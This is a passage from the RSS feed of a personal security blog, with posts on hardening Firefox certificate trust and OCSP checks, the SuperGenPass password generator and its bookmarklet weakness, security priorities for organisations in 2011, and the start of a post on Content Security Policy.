&lt;li&gt;http://www.valicert.com/ (Class 2 Policy Validation)&lt;/li&gt; 
&lt;li&gt;Verisign Class 3 Public Primary Certification Authority - G5&lt;/li&gt; 
&lt;li&gt;Verisign Class 3 Public Primary Certification Authority&lt;/li&gt; 
&lt;li&gt;Verisign Class 3 Public Primary Certification Authority - G2&lt;br /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;Note that these are specific certs, not CAs. You can manually configure these in Firefox by going to Preferences-&amp;gt;Advanced-&amp;gt;Encryption-&amp;gt;View Certificates and manually editing the trust for every certificate. This is a pretty tedious process, and so you can rather &lt;a href=&quot;/utils/cert8.db&quot; title=&quot;Reduced Root CAs for Firefox 4&quot;&gt;download the preconfigured certificate database from me here&lt;/a&gt; &lt;font size=&quot;1&quot;&gt;&lt;em&gt;(SHA 512: e184e5750ccab4b9ea6ef4d67e813fcdbe8515ac9aafc9ded1fa27eb59c8bfe111cba5d424d33721f830b2d2b5ff3a388a4885502a93f6d805041ecbcaf31c05)&lt;/em&gt;&lt;/font&gt;. This will overwrite any existing certificates you may have trusted or imported, so I&#039;d recommend you do it on a new clean profile. Just copy it into your Firefox profile directory. A profile directory is usually several random alphanumeric characters followed by the profile name e.g. xxxxxxxx.default. On different operating systems the file should be placed in:&lt;br /&gt;&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;OSX ~/Library/Application Support/Firefox/Profiles/xxxxxxxx.default/cert8.db&lt;/li&gt; 
&lt;li&gt;Windows  &lt;span class=&quot;filepath&quot;&gt;%APPDATA%\Mozilla\Firefox\Profiles\&lt;/span&gt;xxxxxxxx.default&lt;span class=&quot;filepath&quot;&gt;\cert8.db&lt;/span&gt;&lt;/li&gt; 
&lt;li&gt;Linux ~/.mozilla/firefox/xxxxxxxx.default/cert8.db&lt;/li&gt; 
&lt;/ul&gt;I&#039;ve been surfing with this configuration for a day or two now with no problems. Your browser will validate the entire chain, so if a certificate is signed by an intermediary you don&#039;t trust, but which is eventually signed by a root you do trust, then your browser won&#039;t give you a certificate error. This means the impact of this change is limited and basically prevents some of the stranger CAs like Booz Allen Hamilton or The Chinese Gov from issuing certs you will trust, but wouldn&#039;t prevent a compromised intermediary (as in Comodogate) attack. If you&#039;ve decided not to trust Comodo post Comodogate, you can untrust the Comodo and AAA certificates, although will receive many untrusted cert errors.&lt;br /&gt; 
&lt;h2&gt;&lt;strong&gt;Forcing OCSP verification Checks&lt;/strong&gt;&lt;/h2&gt; 
&lt;p&gt;There are two ways for your browser to check whether a certificate, validly signed by a certificate authority, has been revoked. The first is to check the CRLs embedded in a certificate, and the second is to do a dynamic lookup over the Online Certificate Status Check Protocol (OCSP) (one can also subscribe to CRL lists, but this is currently an onerous and complete process). By default this is not forced each time, and must be enabled &lt;del&gt;by manually toggling the option in about:config&lt;/del&gt; through a config option. The trade off is that the OCSP provider can see what sites you are visiting. If you&#039;re being surveilled you may not want to do this, but for your average user it may be worth it given the current compromises.&lt;br /&gt;&lt;/p&gt; 
&lt;p&gt;To do this:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;&lt;del&gt;Type &amp;quot;about:config&amp;quot; in your URL bar&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Click &amp;quot;I&#039;ll be careful I promise&amp;quot; when you see the warning&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Add a new Boolean key named &lt;em&gt;&lt;strong&gt;security.OCSP.require&lt;/strong&gt;&lt;/em&gt;&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Ensure the value is set to &amp;quot;&lt;em&gt;&lt;strong&gt;true&lt;/strong&gt;&lt;/em&gt;&amp;quot;&lt;/del&gt;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;ol&gt; 
&lt;li&gt;Navigate to Preferences-&amp;gt;Advanced-&amp;gt;Encryption-&amp;gt;Validation&lt;/li&gt; 
&lt;li&gt;Select both checkboxes referring to using an OCSP server, and marking failed validations as invalid&lt;/li&gt; 
&lt;li&gt;Choose the first radio button about using OCSP if a cert specifies it (hopefully a trusted entity will run a decent OCSP server we can validate all certs against soon)&lt;br /&gt;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;ol&gt; &lt;/ol&gt; 
&lt;h2&gt;Monitoring for Certificate Changes&lt;/h2&gt; 
&lt;p&gt;Your browser now provides a little more certainty that you can trust the random certificate it has been presented, however, it is still useful to know when a certificate has changed. This will give an indication that either a validly signed certificate is being used in a man in the middle attack, as is the case with some lawful intercept products, or as in the case of Comodogate. For example, &lt;a title=&quot;HTTPS, SSL, TLS etc. on singe.za.net&quot; href=&quot;http://www.singe.za.net/blog/archives/932-HTTPS,-SSL,-TLS-etc.-on-singe.za.net.html&quot;&gt;my use of certificates on this website&lt;/a&gt; has nothing to do with valid signatures and relies on the fact that the exact same certificate that I trust is in use. For this monitoring I used to use &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/petname-tool/&quot;&gt;Petnames&lt;/a&gt;, however, this has not been updated for Firefox 4, and so I found &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/certificate-patrol/?src=collection&amp;amp;collection_id=26aa4d81-029d-8a7f-56d9-8b85087d4e18&quot;&gt;Certificate Patrol&lt;/a&gt; (thanks Ivan). This too is not compatible with the final release of Firefox 4, however, it is with a beta, and so &lt;del&gt;disabling Firefox add-on compatibility checking&lt;/del&gt; using the &lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/add-on-compatibility-reporter/&quot;&gt;add-on compatibility reporter&lt;/a&gt; will allow it to be installed.&lt;/p&gt; 
&lt;p&gt;What Certificate Patrol does when you first visit a site and are presented with a certificate, is to display a pop-up showing the certificates details. This forces you to actually evaluate the certificate for common-sense indicators e.g. is it assigned to the company it should be or &amp;quot;Iranian Secret Police&amp;quot;. The really useful feature however, is when you next visit the site, it will check that the certificate is the same as seen before, and if there is a mismatch (i.e. the certificate has changed) it will warn you. Thus, for example, if you are in a wireless hot-spot and find you get a &amp;quot;certificate changed&amp;quot; warning on every SSL site you visit, that&#039;s a clear indication that someone is intercepting your traffic. If you get it on your banking website with no warning, it should make you look for an announcement from the bank about it, and if not, ask them for one.&lt;/p&gt; 
&lt;p&gt;To disable add-on compatibility checking and install Certificate Patrol, do the following:&lt;/p&gt; 
&lt;ol&gt; 
&lt;li&gt;&lt;del&gt;Got to about:config as described in the previous section&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Find the key named &lt;em&gt;&lt;strong&gt;extensions.checkCompatibility.4.0&lt;/strong&gt;&lt;/em&gt;&lt;/del&gt;&lt;/li&gt; 
&lt;li&gt;&lt;del&gt;Toggle the value to &lt;em&gt;&lt;strong&gt;false&lt;/strong&gt;&lt;/em&gt;&lt;/del&gt;&lt;/li&gt; 
&lt;/ol&gt; 
&lt;ol&gt; 
&lt;li&gt;Install the &amp;quot;&lt;a href=&quot;https://addons.mozilla.org/en-US/firefox/addon/add-on-compatibility-reporter/&quot;&gt;Add-on compatibility reporter&lt;/a&gt;&amp;quot; to allow you to install &amp;amp; report on plugins not yet marked as compatible with FF4&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;Navigate to the &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/certificate-patrol/?src=collection&amp;amp;collection_id=26aa4d81-029d-8a7f-56d9-8b85087d4e18&quot; title=&quot;Certificate Patrol at Addons.Mozilla&quot;&gt;Certificate Patrol page&lt;/a&gt;, and click &amp;quot;Download Now&amp;quot;&lt;/li&gt; 
&lt;li&gt;Restart Firefox when prompted&lt;/li&gt; 
&lt;/ol&gt;If you want to take it a step further, there is the &lt;a href=&quot;https://addons.mozilla.org/en-us/firefox/addon/perspectives/&quot;&gt;Perspectives&lt;/a&gt; add-on. What this does is contact a specialised notary that comments on how long the certificate presented by the site has been &amp;quot;seen&amp;quot;. The add-on will them assign a &amp;quot;trustworthyness&amp;quot; based on how consistent the answers between notaries are, and how long the certificate has remained the same. Thus, if you are being man-in-the-middle&#039;d the certificate presented would be different from any the notaries had seen and a failure would be issued.&lt;br /&gt; 
&lt;p&gt;&lt;em&gt;Update: Updated to avoid about:config changes.&lt;/em&gt;&lt;br /&gt; &lt;em&gt;Update II: Added SHA sum of cert trust DB and fixed some spelling.&lt;br /&gt;Update III: Referenced perspectives&lt;/em&gt;&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Sat, 26 Mar 2011 18:04:54 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1026-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>SuperGenPass Update</title>
    <link>http://www.singe.za.net/blog/archives/1023-SuperGenPass-Update.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1023-SuperGenPass-Update.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1023</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1023</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    I made a small update to &lt;a title=&quot;SuperGenPass-singe&quot; href=&quot;http://singe.za.net/sgp/&quot;&gt;SuperGenPass&lt;/a&gt; (&lt;a href=&quot;http://singe.za.net/blog/archives/987-SuperGenPass.html&quot;&gt;full write up&lt;/a&gt;) to randomise several of the variable names. This will prevent &lt;a title=&quot;Example SGP exploit&quot; href=&quot;http://singe.za.net/exploit/sgp.html&quot;&gt;this exploit&lt;/a&gt; from working. It is by no means fool proof, and I&#039;d still recommend using the Data URI or other out of band version for full assurance. I&#039;ve been using it for a few weeks now with no incident. Additionally, as the randomisation is done per user, and up-front, I&#039;d recommend &lt;a title=&quot;TLS SuperGenPass&quot; href=&quot;/sgp/&quot;&gt;hitting the page&lt;/a&gt; via TLS. I use a self-signed cert, the fingerprints are on the right of my blog.  
    </content:encoded>

    <pubDate>Tue, 01 Mar 2011 14:46:43 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1023-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>SuperGenPass</title>
    <link>http://www.singe.za.net/blog/archives/987-SuperGenPass.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/987-SuperGenPass.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=987</wfw:comment>

    <slash:comments>2</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=987</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    As someone who uses a lot of web apps, I run into the problem of trying to remember multiple passwords. Most people resolve this by just using the same password across all the sites. However, as &lt;a title=&quot;The Anatomy of the Twitter Attack&quot; href=&quot;http://www.techcrunch.com/2009/07/19/the-anatomy-of-the-twitter-attack/&quot;&gt;numerous&lt;/a&gt;, &lt;a title=&quot;Hotmail Breach Exposes Passwords&quot; href=&quot;http://blogs.zdnet.com/security/?p=4538&quot;&gt;examples&lt;/a&gt;, &lt;a title=&quot;Security Risk as People use Same Password on All Websites&quot; href=&quot;http://www.telegraph.co.uk/technology/news/6125081/Security-risk-as-people-use-same-password-on-all-websites.html&quot;&gt;have&lt;/a&gt;, &lt;a title=&quot;Spotify Breach Exposes other Accounts&quot; href=&quot;http://www.theregister.co.uk/2009/03/04/spotify_breach/&quot;&gt;demonstrated&lt;/a&gt;, that&#039;s not a good idea. The knee-jerk counter is to use a different password (or groups of passwords) across the sites, but that becomes difficult to remember. If you want the quick solution I&#039;m proposing then check out &lt;a href=&quot;http://supergenpass.com/&quot; title=&quot;SuperGenPass&quot;&gt;SuperGenPass&lt;/a&gt; (or &lt;a href=&quot;http://singe.za.net/sgp/&quot; title=&quot;Singe&#039;s SuperGenPass&quot;&gt;my customised version&lt;/a&gt;). The security geek details follow after the jump.&lt;br /&gt; &lt;p&gt;Some of my colleagues use password databases such as &lt;a title=&quot;KeePassX&quot; href=&quot;http://www.keepassx.org/&quot;&gt;KeyPassX&lt;/a&gt;, or the browser&#039;s &amp;quot;remember password&amp;quot; feature. These solutions are significantly better than using the same password across all sites, but suffer from a few problems:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;You have all your passwords written down somewhere - at some point you may not be the only one looking at this list&lt;br /&gt;&lt;/li&gt; 
&lt;li&gt;That list isn&#039;t always protected - e.g. using Firefox&#039;s &amp;quot;remember password&amp;quot; feature without a master password could expose your password on physical theft of the device&lt;/li&gt; 
&lt;li&gt;Portability - if you aren&#039;t at your machine you can&#039;t log in. KeePassX is quite portable, but then ends up making more copies of the password list.&lt;br /&gt;&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;None of these are killers, but they aren&#039;t ideal. This is where &lt;a title=&quot;SuperGenPass&quot; href=&quot;http://supergenpass.com/&quot;&gt;SuperGenPass&lt;/a&gt; comes in. SuperGenPass hashes a password with the domain to make a unique password per-site, meaning that a compromise or malicious admin on one site won&#039;t give them the password for another site. The main advantage is that there&#039;s no database or list of passwords lying around that could be compromised and you only need remember one password. If you wear lots of tinfoil like me, you can remember groups of passwords e.g. critical, important, arb sites. It&#039;s ridiculously portable with a &lt;a title=&quot;Bookmarklets&quot; href=&quot;http://supergenpass.com/#Start&quot;&gt;bookmarklet&lt;/a&gt; (don&#039;t use this, see below), &lt;a href=&quot;data:text/html;charset=utf-8;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icsJ3R1ci5icicsJ3R2LmJyJywndmV0LmJyJywnemxnLmJyJywnY29tLmJzJywnbmV0LmJzJywnb3JnLmJzJywnYWIuY2EnLCdiYy5jYScsJ21iLmNhJywnbmIuY2EnLCduZi5jYScsJ25sLmNhJywnbnMuY2EnLCdudC5jYScsJ251LmNhJywnb24uY2EnLCdwZS5jYScsJ3FjLmNhJywnc2suY2EnLCd5ay5jYScsJ2djLmNhJywnY28uY2snLCduZXQuY2snLCdvcmcuY2snLCdlZHUuY2snLCdnb3YuY2snLCdjb20uY24nLCdlZHUuY24nLCdnb3YuY24nLCduZXQuY24nLCdvcmcuY24nLCdhYy5jbicsJ2FoLmNuJywnYmouY24nLCdjcS5jbicsJ2dkLmNuJywnZ3MuY24nLCdneC5jbicsJ2d6LmNuJywnaGIuY24nLCdoZS5jbicsJ2hpLmNuJywnaGsuY24nLCdobC5jbicsJ2huLmNuJywnamwuY24nLCdqcy5jbicsJ2xuLmNuJywnbW8uY24nLCdubS5jbicsJ254LmNuJywncWguY24nLCdzYy5jbicsJ3NuLmNuJywnc2guY24nLCdzeC5jbicsJ3RqLmNuJywndHcuY24nLCd4ai5jbicsJ3h6LmNuJywneW4uY24nLCd6ai5jbicsJ2FydHMuY28nLCdjb20uY28nLCdlZHUuY28nLCdmaXJtLmNvJywnZ292LmNvJywnaW5mby5jbycsJ2ludC5jbycsJ25vbS5jbycsJ21pbC5jbycsJ29yZy5jbycsJ3JlYy5jbycsJ3N0b3JlLmNvJywnd2ViLmNvJywnYWMuY3InLCdjby5jcicsJ2VkLmNyJywnZmkuY3InLCdnby5jcicsJ29yLmNyJywnc2EuY3InLCdjb20uY3UnLCduZXQuY3UnLCdvcmcuY3UnLCdhYy5jeScsJ2NvbS5jeScsJ2dvdi5jeScsJ25ldC5jeScsJ29yZy5jeScsJ2NvLmRrJywnYXJ0LmRvJywnY29tLmRvJywnZWR1LmRvJywnZ292LmRvJywnZ29iLmRvJywnb3JnLmRvJywnbWlsLmRvJywnbmV0LmR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ZycsJ2NvLnVrJywnbWUudWsnLCdvcmcudWsnLCdlZHUudWsnLCdsdGQudWsnLCdwbGMudWsnLCduZXQudWsnLCdzY2gudWsnLCduaWMudWsnLCdhYy51aycsJ2dvdi51aycsJ25ocy51aycsJ3BvbGljZS51aycsJ21vZC51aycsJ2RuaS51cycsJ2ZlZC51cycsJ2NvbS51eScsJ2VkdS51eScsJ25ldC51eScsJ29yZy51eScsJ2d1Yi51eScsJ21pbC51eScsJ2NvbS52ZScsJ25ldC52ZScsJ29yZy52ZScsJ2NvLnZlJywnZWR1LnZlJywnZ292LnZlJywnbWlsLnZlJywnYXJ0cy52ZScsJ2JpYi52ZScsJ2Zpcm0udmUnLCdpbmZvLnZlJywnaW50LnZlJywnbm9tLnZlJywncmVjLnZlJywnc3RvcmUudmUnLCd0ZWMudmUnLCd3ZWIudmUnLCdjby52aScsJ25ldC52aScsJ29yZy52aScsJ2NvbS52bicsJ2Jpei52bicsJ2VkdS52bicsJ2dvdi52bicsJ25ldC52bicsJ29yZy52bicsJ2ludC52bicsJ2FjLnZuJywncHJvLnZuJywnaW5mby52bicsJ2hlYWx0aC52bicsJ25hbWUudm4nLCdjb20udnUnLCdlZHUudnUnLCduZXQudnUnLCdvcmcudnUnLCdkZS52dScsJ2NoLnZ1JywnZnIudnUnLCdjb20ud3MnLCduZXQud3MnLCdvcmcud3MnLCdnb3Yud3MnLCdlZHUud3MnLCdhYy55dScsJ2NvLnl1JywnZWR1Lnl1Jywnb3JnLnl1JywnY29tLnllJywnbmV0LnllJywnb3JnLnllJywnZ292LnllJywnZWR1LnllJywnbWlsLnllJywnYWMuemEnLCdhbHQuemEnLCdib3Vyc2UuemEnLCdjaXR5LnphJywnY28uemEnLCdlZHUuemEnLCdnb3YuemEnLCdsYXcuemEnLCdtaWwuemEnLCduZXQuemEnLCduZ28uemEnLCdub20uemEnLCdvcmcuemEnLCdzY2hvb2wuemEnLCd0bS56YScsJ3dlYi56YScsJ2NvLnp3JywnYWMuencnLCdvcmc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dXQgaWQ9IkdlblBhc3N3ZCIgbmFtZT0iR2VuUGFzc3dkIiB0eXBlPSJ0ZXh0Ij48L3A%2BDQoNCgkJCTwvZm9ybT4NCg0KCQk8L2Rpdj4NCg0KDQoJPC9ib2R5Pg0KDQo8L2h0bWw%2B&quot;&gt;data URI&lt;/a&gt;, &lt;a href=&quot;http://supergenpass.com/mobile/&quot;&gt;straight JavaScript&lt;/a&gt;, &lt;a href=&quot;http://michael.gorven.za.net/files/supergenpass.py&quot;&gt;Python&lt;/a&gt; (&lt;a href=&quot;https://code.launchpad.net/%7Emgiuca/pysgp/&quot;&gt;alternative&lt;/a&gt;) and &lt;a href=&quot;http://mene.za.net/passgen/&quot;&gt;J2MEE&lt;/a&gt; implementations.&lt;/p&gt; 
&lt;p&gt;There are a few potential problems that need to be considered (they all have solutions) however:&lt;/p&gt; 
&lt;ul&gt; 
&lt;li&gt;The bookmarklet runs in the same context as the website you&#039;re logging into. This means javascript on the site (or POST&#039;ed/GET&#039;ed information) has access to it. This allows a malicious or hacked site to get hold of your master password. There&#039;s a better explanation &lt;a href=&quot;http://akibjorklund.com/2009/supergenpass-is-not-that-secure&quot; title=&quot;SuperGenPass is not that Secure&quot;&gt;here&lt;/a&gt;, and I put up a demo &lt;a href=&quot;http://singe.za.net/exploit/sgp.html&quot; title=&quot;SuperGenPass Bookmarlet Master Password Leak&quot;&gt;here&lt;/a&gt;. So DO NO USE THE BOOKMARKLET. Any of the other versions are good enough, but are vulnerable to shoulder surfing (something the bookmarklet is not vulnerable to).&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Update: The bookmarklet now uses some random variable and function names to reduce the changes that a straight capture of the master password will work. I&#039;d still avoid the bookmarklet for important stuff.&lt;br /&gt;&lt;/li&gt;
&lt;/ul&gt; 
&lt;li&gt;The algorithm doesn&#039;t include za.net and za.org as top level domains. This means that all your passwords for the approximately 30k domains hosted under these could have the same password. As it is unlikely that the majority of internet users use more than one web-app in these domains, this isn&#039;t a huge risk. Although, it does technically make finding the correct MD5 collision slightly easier. When I notified the developers of the bug, the response was that a change in the algorithm would affect users with existing passwords on these sites and hence they would not change it. So I made my &lt;a href=&quot;http://singe.za.net/sgp/&quot; title=&quot;Singe&#039;s SuperGenPass&quot;&gt;own&lt;/a&gt;, more on that later.&lt;/li&gt; 
&lt;li&gt;The default password length is 10. That&#039;s fine, but given research &lt;a href=&quot;http://news.electricalchemy.net/2009/10/password-cracking-in-cloud-part-5.html&quot; title=&quot;Password Cracking in the Cloud&quot;&gt;like this&lt;/a&gt;, and that setting the default to 12 costs the user nothing and potentially buys them $7,700,102,463 extra protection per password, that sounds like a good deal.&lt;/li&gt; 
&lt;li&gt;MD5 - this isn&#039;t a problem. The knee jerk I hear from some security people is that is uses MD5 and &lt;a href=&quot;http://www.win.tue.nl/hashclash/rogue-ca/&quot; title=&quot;MD5 Considered Harmful&quot;&gt;that&#039;s broken&lt;/a&gt;. However, the vulnerability in MD5 allows other values to be found that hash to the same value (a collision). This does not let you work out the reverse i.e. the original value (master password in this case) from a single hash however. So we&#039;re safe here (I think, crypto nerds got any comments?)&lt;/li&gt; 
&lt;/ul&gt; 
&lt;p&gt;In light of the above, I&#039;ve made my own customised version of sgp. It includes customised versions of all but the J2MEE version (which is partially customised by it&#039;s author to include za.net/org already). My recommendation is to use the Data URI as a bookmark loaded in your sidebar (in Firefox). While it is slightly slower logging in to one site because you will need to type the domain, it is faster when logging in to many because you can just change the domain without re-entering your master password. It is vulnerable to shoulder surfing however.&lt;/p&gt; 
&lt;p&gt;In summary. SuperGenPass provides a convenient way to use different passwords across different sites. There are some potential problems and improvements, to which I recommend using &lt;a href=&quot;/sgp/&quot; title=&quot;singe&#039;s SuperGenPass&quot;&gt;my customised version&lt;/a&gt;, with the preferred method being the Data URI as a Bookmark loaded in your sidebar.&lt;/p&gt; 
&lt;p&gt;Thanks to &lt;a href=&quot;http://russell.rucus.net/&quot; title=&quot;Russell Cloran&quot;&gt;Russell&lt;/a&gt; for pointing SGP out in the first place, and &lt;a href=&quot;http://michael.gorven.za.net/&quot; title=&quot;Michael Gorven&quot;&gt;Michael&lt;/a&gt; for the Python and J2MEE version and the changes.&lt;br /&gt;&lt;/p&gt; 
    </content:encoded>

    <pubDate>Tue, 17 Nov 2009 20:20:33 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/987-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Anti-Predictions for 2011</title>
    <link>http://www.singe.za.net/blog/archives/1021-Anti-Predictions-for-2011.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1021-Anti-Predictions-for-2011.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1021</wfw:comment>

    <slash:comments>0</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1021</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    Come the turn of the year, many people draw up list of predictions for the next. This list is slightly different, instead of focusing on what new threats, vulnerabilities or attacks we&#039;ll see, this is a list of some things that, if not already handled should be in your security strategy for this year. Some organisations are further along than others, and this list is targeted at the average ZA organization based on my observations. (Full disclosure, some of the items relate to services my employer offers, that&#039;s just because I believe in them).&lt;br /&gt; &lt;ul&gt; 
&lt;li&gt;Get a handle of what you have online. Many orgs have a much larger 
Internet presence than what&#039;s sitting in their hosting center. Cheap 
hosting, elastic hosting, service providers with their own 
infrastructure (particularly those catering directly to business units),
 half forgotten subsidiaries &amp;amp; business partners all put services 
online that tend to get overlooked. But expose your company to brand 
damage or access to your network. Best of all, this is cheap &amp;amp; quick
 to do. Consolidating the results into controlled hosting areas and 
applying consistent security standards isn&#039;t unfortunately.&lt;/li&gt; 
&lt;li&gt;Check up on exceptions to the basics. By now most have at least a 
basic patch, virus, change &amp;amp; configuration management process for 
servers. If you don&#039;t, start. If you do, start checking on exceptions 
such as;


&lt;ul&gt; 
&lt;li&gt;How many servers don&#039;t we know about &amp;amp; why?&lt;br /&gt; &lt;/li&gt; 
&lt;li&gt;How many servers don&#039;t have AV &amp;amp; patches up to date?&lt;/li&gt; 
&lt;li&gt;How many changes that didn&#039;t go through change control were made?&lt;/li&gt; 
&lt;/ul&gt;
These are harder questions to answer, but as any pentester will tell 
you, we&#039;re good at finding those machines and that&#039;s our quick &#039;n easy 
in.

&lt;/li&gt; 
&lt;li&gt;Third party patches. Microsoft did some good work in sorting out 
their patch release cycles and it&#039;s fairly easy to get those patches 
applied regularly. Unfortunately the attacks have moved to the harder to
 patch, less secure software on machines operated by less savvy users. 
This means you need to start managing non-MS patches, and you need to do
 it on more than just servers. Worse still, each third party software 
provider has their own update mechanism which is hard to centrally 
manage (in a Window environment at least). Big ticket patch management 
tools have long had this capability but they also come with the price 
tag. Cheaper tools such as &lt;a href=&quot;https://secunia.com/vulnerability_scanning/corporate/&quot;&gt;Secunia CSI&lt;/a&gt; or even the right vulnerability scanner can alert on what needs doing.&lt;/li&gt; 
&lt;li&gt;Mobile security *processes* - People have hyped mobile security for 
years and we&#039;re at a point where there&#039;s a reasonable expectation that a
 majority of information workers have at least company email &amp;amp; 
calendar data on their phones. The most likely threat is of the device 
being lost or trivially accessed. Figure out what controls you can push 
to the most number of devices (e.g. MS ActiveSync allows passwords and 
lock times to be enforced &amp;amp; iDevices or RIM devices have an extended
 set of controls). More importantly however, is to implement processes 
for using these. They don&#039;t need to be perfect, but at a minimum 
employees should be able to report lost or stolen phones and have a 
remote wipe command sent &amp;amp; passwords reset.&lt;/li&gt; 
&lt;li&gt;Physical Access Management - It&#039;s 2011 and there are still wildly 
inconsistent ways in which this is managed. Make sure there is proper 
equipment sign in/out, that guards actually check bags &amp;amp; that 
legitimate data is entered (or go for the &lt;a href=&quot;http://37signals.com/svn/posts/946-tips-on-how-to-work-smarter-from-ricardo-semler?4&quot;&gt;Ricardo Semler approach&lt;/a&gt;,
 but don&#039;t pay for an awkward middle ground). I still regularly sign in 
as Osama Bin Laden and walk in/out with laptops hidden in my bag. There 
are some nice advances in tech in ZA too; &lt;a href=&quot;http://www.mydigitallife.co.za/index.php?option=com_content&amp;amp;task=view&amp;amp;id=1047498&amp;amp;Itemid=38&quot;&gt;electronic sign in devices&lt;/a&gt;
 that look up ID numbers OTA and take copies of fingerprints. Next up 
make sure there&#039;s adequate camera coverage of your offices &amp;amp; that 
suspicious behavior is actually queried. A guy in a suit should not be an untested edge case.&lt;br /&gt; &lt;/li&gt; 
&lt;/ul&gt;These items need some real thought, and the above is intended merely as pointers, rather than full implementation guides. As for actual predictions, we&#039;ve had some fun with that at work and will hopefully add to the noise with those soon.&lt;br /&gt; 
    </content:encoded>

    <pubDate>Mon, 10 Jan 2011 11:53:20 +0200</pubDate>
    <guid isPermaLink="false">http://www.singe.za.net/blog/archives/1021-guid.html</guid>
    <creativeCommons:license>http://creativecommons.org/licenses/by-nc-sa/3.0/</creativeCommons:license>
</item>
<item>
    <title>Browser Security - better defenses</title>
    <link>http://www.singe.za.net/blog/archives/1018-Browser-Security-better-defenses.html</link>
            <category>Security</category>
    
    <comments>http://www.singe.za.net/blog/archives/1018-Browser-Security-better-defenses.html#comments</comments>
    <wfw:comment>http://www.singe.za.net/blog/wfwcomment.php?cid=1018</wfw:comment>

    <slash:comments>5</slash:comments>
    <wfw:commentRss>http://www.singe.za.net/blog/rss.php?version=2.0&amp;type=comments&amp;cid=1018</wfw:commentRss>
    

    <author>nospam@example.com (Dominic White)</author>
    <content:encoded>
    &lt;p&gt;
While sitting is a couple of talks at BlackHat Abu Dhabi, I got to thinking about how we can improve browser defenses. Much of the problems we have are due to the same problem that has plagued systems since Captain Crunch first blew his whistle at 2600 hertz; the data and control channel are the same. Your browser can&#039;t tell the difference between attacker injected script and legitimate scripts and happily responds to both. It&#039;s what allows XSS and CSRF attacks, and even SQLi. Framebusting is a great example of this, a site owner doesn&#039;t want his page to sit in a frame, but has to compete in the arms race against attackers who want the site to be framed. What we need is some way for a site-owner to specify a security policy, that exists outside of the application. The site-owner should be able to specify that the site shouldn&#039;t be framed, and the browser respect that, without an attacker able to inject an alternate set of instructions (or at least not trivially via the actual app). Right now, even if a site-owner is aware of the problem, with a smart security team, all they can do is compete in the arms race.&lt;/p&gt; 
&lt;p&gt; There&#039;s a corollary to the problem however, third-party content. The web is made of mashups. Even single-source content providers still include a raft of third-party content, from RSS feeds, to advertising or JQuery. This introduces a whole set of potential interconnected vulnerability that a site owner can&#039;t control. If an ad provider is hacked and used to distribute malware, then the site-owner&#039;s only choice (if detected) is to remove the ad. &lt;br /&gt;&lt;/p&gt; 
&lt;p&gt; &lt;/p&gt; 
&lt;p&gt;We need something that can give a site owner control back of their application. Something that can be specified outside of the page content. A security policy that puts all the controls we have available to us with software (enforced security policy &amp;amp; ability to disable features not required) back in the hand of the right people. Once we get it, there&#039;s a whole separate discussion about how to get it widely supported and implemented, but we would need to agree on what that should be first. &lt;br /&gt;&lt;/p&gt; &lt;p&gt;Right now, a proposal for something like the first requirement exists in the form of the &lt;a title=&quot;Content Security Policy&quot; href=&quot;https://people.mozilla.com/%7Ebsterne/content-security-policy/&quot;&gt;Content Security Policy&lt;/a&gt; put forward by Mozilla. This allows for a security policy to be specified outside the page, as a header returned by the webserver. Primarily, it controls what sources third party content can be loaded from, and prevents ways of getting around that. Additionally, it allows for policy directives that control additional features of the browsing experience. Following our framebusting example, one could use the &lt;strong&gt;frame-ancestors&lt;/strong&gt; directive to ensure that your site can&#039;t be framed (in browsers which support CSP) by malicious sites. No JS in the page or frame attempts from third-parties could say otherwise. CSP is pretty great, but...&lt;/p&gt; 
